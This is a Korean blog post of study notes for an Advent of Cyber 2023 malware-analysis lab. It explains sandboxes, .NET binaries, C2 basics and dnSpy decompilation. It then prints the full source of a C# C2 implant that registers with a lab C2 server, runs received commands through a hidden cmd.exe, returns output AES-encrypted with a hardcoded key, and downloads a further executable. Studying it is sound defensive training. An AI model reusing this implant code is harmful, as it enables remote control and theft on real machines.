선릉역 1번 출구
[adventofcyber2023] - Day_9_Malware analysis She sells C# shells by the C2shore 본문
[adventofcyber2023] - Day_9_Malware analysis She sells C# shells by the C2shore
choideu 2023. 12. 11. 18:39Story: 원격으로 제어할 수 있는 악성코드 소스코드를 기반으로 C2의 백엔드 인프라를 분석해 복수할 계획
목표: 악성코드 샘플을 안전하게 분석하기 위한 기초, .NET 바이너리의 기본 사항, .NET으로 작성된 악성 코드 샘플을 디컴파일하기 위한 dnSpy 도구, 악성코드 소스코드 분석을 위한 필수 방법론 구축
1. 악성코드 샌드박스
- 실제 컴퓨터처럼 작동하는 가상 컴퓨터 설정과 같음
- 전문가가 맬웨어를 테스트하고 위험 없이 작동할 수 있는지 확인 할 수 있음
- 일반적인 환경 설정
- 네트워크 제어 : 맬웨어가 생성하는 네트워크 트래픽을 제한하고 모니터링함
- 가상화 : Hyper-V와 같은 기술을 사용해 통제되고 격리된 환경에서 실행
- 모니터링 및 로깅 : 시스템 상호 작용, 네트워크 트래픽, 파일 수정을 포함해 맬웨어 활동에 대한 자세한 로그를 기록함
2. .NET 컴파일 바이너리 소개
- .NET 바이너리는 C#, VB.NET 또는 managed C++와 같은 .NET 프레임워크와 호환되는 언어로 작성된 코드가 포함된 컴파일된 파일임
- 해당 바이너리는 .exe 확장자를 가진 실행파일 또는 .dll 확장자를 가진 동적 링크 라이브러리, 또는 여러 유형과 리소스를 포함하는 어셈블리일 수 있음
- C, C++와 달리 C#과 같은 .NET을 사용하는 언어는 컴파일 후 코드를 기계어 코드로 직접 변환하지 않고 의사 코드와 같은 중간 언어(IL)를 사용하고 CLR(공용 어어 런타임) 환경을 통해 런타임 중에 이를 기본 기계어 코드로 변환함
3. C# 프로그래밍
namespace DemoOnly
{
internal class BasicProgramming
{
static void Main(string[] args)
{
string to_print = "Hello World!";
ShowOutput(to_print);
}
public static void ShowOutput(string text)
{
// prints the contents of the text variable - or simply, this is a print function
Console.WriteLine(text);
}
}
}
코드 구문 | 세부사항 |
namespace | 클래스와 같은 관련 코드 요소를 논리적 그룹으로 구성하는 컨테이너 |
class | 포함된 개체의 구조와 동작을 정의 |
function | 특정 작업이나 작업을 수행하는 재사용 가능한 코드 블록 |
variable | 숫자, 텍스트 또는 개체와 같은 데이터를 저장할 수 있는 명명된 저장 위치 |
1) for loop, if 조건문
2) 모듈 가져오기 : using 지시문 사용
4. C2 primer
- C2, 즉 command & control은 악의적인 행위자가 손상된 장치나 시스템을 원격으로 관리하고 제어하는 데 사용하는 중앙 집중식 시스템 또는 인프라를 의미함
- HTTP 요청 : C2 서버는 종종 HTTP(s) 요청을 사용하여 손상된 자산과 통신하고, 이러한 요청은 명령을 보내거나 데이터를 받는 데 사용될 수 있습니다.
- 명령 실행 : 이 동작은 가장 일반적이며 공격자가 시스템 내부에서 OS 명령을 실행할 수 있도록 허용합니다.
- 절전 또는 지연 : 탐지를 피하고 은폐를 유지하기 위해 위협 행위자는 일반적으로 실행 중인 악성 코드에 특정 기간 동안 절전 또는 지연을 입력하도록 지시합니다. 이 시간 동안 맬웨어는 아무 작업도 수행하지 않습니다. 타이머가 완료되면 C2 서버 에 다시 연결된다.
- 공격자가 손상된 개체에 명령을 통해 데이터 유출, 감시 또는 추가 악성 페이로드를 전파할 때와 같이 다양한 활동을 수행할 수 있도록 하는 채널 역할을 함
- C2 트래픽이 발견되었다는 것은 이미 악성코드가 피해자 컴퓨터 내부에서 실행되었음을 의미함
- Cyber kill의 관점에서는 이미 측면에서 악성 코드를 제작해 피해자에게 전달하였고 잠재적으로 목표를 달성하기 위해 네트워크 내부에서 lateral movement를 준비하는 단계일 것임
5. dnSpy를 사용한 악성코드 샘플 디컴파일
(우리의 악성 코드 샘플이 C#으로 작성되었다고 가정한 상태임)
- dnSpy : 오픈 소스 .NET 어셈블리(C#)의 디버거이자 편집기임
- .NET 애플리케이션을 리버스 엔지니어링하고 해당 코드를 분석하는데 사용됨
- 검색된 소스코드를 수정하거나, breakpoint 설정하거나 또는 한 단계씩 코드 디버깅(실행) 가능함
1) 악성코드 샘플 디컴파일
2) 악성코드 기능 이해
기능 | 설명 |
GetIt | 소스 코드를 기반으로 GetIt 함수는 System.Net 네임스페이스의 WebRequest 클래스를 사용하고 함수의 URL 인수로 초기화 됨, 이 이름은 WebRequest가 원격 URL에 대한 HTTP 요청을 시작하는 데 사용된다는 것을 암시 *기본적으로 클래스에 설정된 HTTP 메소드는 GET 메소드임 |
PostIt | WebRequest 클래스를 사용하지만 더 많은 속성이 구성됨, PostIt 함수는 추가 인수를 POST |
Sleeper | 정수를 인수로 받아들이고 전달된 값에 따라 프로그램을 일시 정지함 |
ExecuteCommand | 프로세스를 생성하는 데 사용되는 것으로, 실행할 파일이 무엇인지와 ExecuteCommand의 인수가 프로세스 인수로 전달됨 |
Encryptor | 인수를 받아들이고 하드코딩된 KEY및 IV (초기화 벡터)값을 사용해 AES 암호화함 |
Decryptor | Base64 문자열을 디코딩하고 암호 해독 진행 |
Implant | URL 문자열을 인수로 받아들이고, URL 인수에 대한 HTTP 요청을 시작한 다음 Base64로 디코딩함 |
3) 악성코드 실행 파이프라인 구축
- main의 코드가 많아서 나누어서 분석
3-1) for 루프 이전에 실행된 코드 분석
// 1. Retrieves the victim machine's hostname via Dns.GetHostName function and stores it to a variable.
string hostName = Dns.GetHostName();
// 2. Initialisation of HTTP URL together with the data to be submitted to the /reg endpoint.
string str = "http://REDACTED C2 DOMAIN";
string url = str + "/reg";
string data = "name=" + hostName;
// 3. Execution of the HTTP POST request to the target URL (str variable) together with the POST data that contains the hostname of the victim machine (data variable).
// It is also notable that the response from the HTTP request is being stored in another variable (str2)
string str2 = Program.PostIt(url, data);
// 4. Initialisation of other variables, which will be used in the following code lines.
int count = 15000;
bool flag = false;
- url = "http://REDACTED C2 DOMAIN/reg"
- data = "name = (hostname)"
- URL에 대한 POST 요청을 하고, data 변수를 보냄
3-2) IF 문의 코드 블록 앞에 있는 for loop 내부의 코드
// 1. This for loop syntax signifies a continuous loop since it has no values set to initialisation, condition, and iteration.
for (;;)
{
// 2. The Sleeper function is being used together with the count variable, which was initialised prior to the for loop block.
Program.Sleeper(count);
// 3. Initialisation of other variables, together with the str variable, which contains
string url2 = str + "/tasks/" + str2;
string url3 = str + "/results/" + str2;
// 4. HTTP GET request to url2 variable. The url2 variable equates to domain + "/tasks/" + response to the first POST request made (str variable holds the base URL used by the malware, while str2 holds the response to the first POST request).
string it = Program.GetIt(url2);
// 5. Conditional statement depending on the HTTP response stored in the it variable. The code will enter in this statement only if the it variable is NOT empty.
if (!string.IsNullOrEmpty(it))
// redacted section - code block inside the IF statement
- 앞에서 설정한 count만큼 프로그램 실행을 중지함
- url2 = "http://REDACTED C2 DOMAIN/tasks/(str2)"
- url3 = "http://REDACTED C2 DOMAIN/results/(str2)"
- it은 url2로 get 요청을 하고 응답받은 값으로, if이 null이나 empty가 false가 아니라면 if문을 진입함
3-3) 첫번째 IF문 내에서 실행되는 코드
// Step 1: Split the decrypted string with space
array = Decryptor(it).Split(' ')
// "shell net localgroup administrators".Split(' ') --> ["shell", "net", "localgroup", "administrators"]
// Step 2: Store the first element into the "a" variable
a = array[0] // a = "shell"
text = ""
// Step 3: Combine the remaining elements (excluding the first) using space
IF array.length > 1
THEN text = combine with space(["net", "localgroup", "administrators"]) // text = "net localgroup administrators"
3-4) 중첩된 조건문
IF a == "sleep"
THEN execute sleep code block
ELSE IF a == "shell"
THEN execute shell code block
ELSE IF a == "implant"
THEN execute implant code block
ELSE IF a == "quit"
THEN execute quit code block
3-5) flag값을 통한 loop break
3-4에서 quit이 되면 flag 값이 true로 설정되고 break를 통해 loop를 빠져나옴
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
namespace JuicyTomatoy
{
// Token: 0x02000002 RID: 2
internal class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002048 File Offset: 0x00000248
private static void Main(string[] args)
{
string hostName = Dns.GetHostName();
string str = "http://mcgreedysecretc2.thm";
string url = str + "/reg";
string data = "name=" + hostName;
string str2 = Program.PostIt(url, data);
int count = 15000;
bool flag = false;
for (;;)
{
Program.Sleeper(count);
string url2 = str + "/tasks/" + str2;
string url3 = str + "/results/" + str2;
string it = Program.GetIt(url2);
if (!string.IsNullOrEmpty(it))
{
string[] array = Program.Decryptor(it).Split(new char[]
{
' '
});
string a = array[0];
string text = "";
if (array.Length > 1)
{
text = string.Join(" ", array.Skip(1).ToArray<string>());
}
if (!(a == "sleep"))
{
if (!(a == "shell"))
{
if (!(a == "implant"))
{
if (a == "quit")
{
flag = true;
}
}
else
{
string text2 = Program.Implant("http://stash.mcgreedy.thm/spykit.exe");
if (!string.IsNullOrEmpty(text2))
{
string str3 = Program.Encryptor(text2);
string data2 = "result=" + str3;
Program.PostIt(url3, data2);
}
}
}
else
{
string str4 = Program.Encryptor(Program.ExecuteCommand(text));
string data3 = "result=" + str4;
Program.PostIt(url3, data3);
}
}
else
{
count = int.Parse(text) * 1000;
}
if (flag)
{
break;
}
}
}
}
// Token: 0x06000002 RID: 2 RVA: 0x000021BC File Offset: 0x000003BC
public static string Implant(string url)
{
byte[] bytes = Convert.FromBase64String(Program.GetIt(url));
string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\spykit.exe";
File.WriteAllBytes(text, bytes);
if (File.Exists(text))
{
return text;
}
return "";
}
// Token: 0x06000003 RID: 3 RVA: 0x000021FD File Offset: 0x000003FD
public static void Sleeper(int count)
{
Thread.Sleep(count);
}
// Token: 0x06000004 RID: 4 RVA: 0x00002208 File Offset: 0x00000408
private static string Encryptor(string plaintext)
{
byte[] bytes = Encoding.ASCII.GetBytes("youcanthackthissupersecurec2keys");
byte[] rgbIV = new byte[]
{
9,
178,
251,
121,
16,
203,
49,
218,
17,
5,
243,
70,
230,
214,
12,
216
};
byte[] inArray;
using (AesManaged aesManaged = new AesManaged())
{
aesManaged.Mode = CipherMode.CBC;
aesManaged.Padding = PaddingMode.Zeros;
aesManaged.BlockSize = 128;
aesManaged.KeySize = 256;
ICryptoTransform transform = aesManaged.CreateEncryptor(bytes, rgbIV);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
using (StreamWriter streamWriter = new StreamWriter(cryptoStream))
{
streamWriter.Write(plaintext);
}
inArray = memoryStream.ToArray();
}
}
}
return Convert.ToBase64String(inArray);
}
// Token: 0x06000005 RID: 5 RVA: 0x00002304 File Offset: 0x00000504
private static string Decryptor(string encoded)
{
byte[] buffer = Convert.FromBase64String(encoded);
byte[] bytes = Encoding.UTF8.GetBytes("youcanthackthissupersecurec2keys");
byte[] rgbIV = new byte[]
{
9,
178,
251,
121,
16,
203,
49,
218,
17,
5,
243,
70,
230,
214,
12,
216
};
string result = null;
using (AesManaged aesManaged = new AesManaged())
{
aesManaged.Mode = CipherMode.CBC;
aesManaged.Padding = PaddingMode.Zeros;
aesManaged.BlockSize = 128;
aesManaged.KeySize = 256;
ICryptoTransform transform = aesManaged.CreateDecryptor(bytes, rgbIV);
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd().Trim(new char[1]);
}
}
}
}
return result;
}
// Token: 0x06000006 RID: 6 RVA: 0x00002410 File Offset: 0x00000610
public static string ExecuteCommand(string command)
{
Process process = new Process();
process.StartInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = "cmd.exe",
Arguments = "/C " + command
};
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
return process.StandardOutput.ReadToEnd();
}
// Token: 0x06000007 RID: 7 RVA: 0x00002481 File Offset: 0x00000681
public static string GetIt(string url)
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
httpWebRequest.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15";
return new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream()).ReadToEnd();
}
// Token: 0x06000008 RID: 8 RVA: 0x000024B4 File Offset: 0x000006B4
public static string PostIt(string url, string data)
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
byte[] bytes = Encoding.ASCII.GetBytes(data);
httpWebRequest.Method = "POST";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.ContentLength = (long)bytes.Length;
httpWebRequest.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15";
using (Stream requestStream = httpWebRequest.GetRequestStream())
{
requestStream.Write(bytes, 0, bytes.Length);
}
return new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream()).ReadToEnd();
}
}
}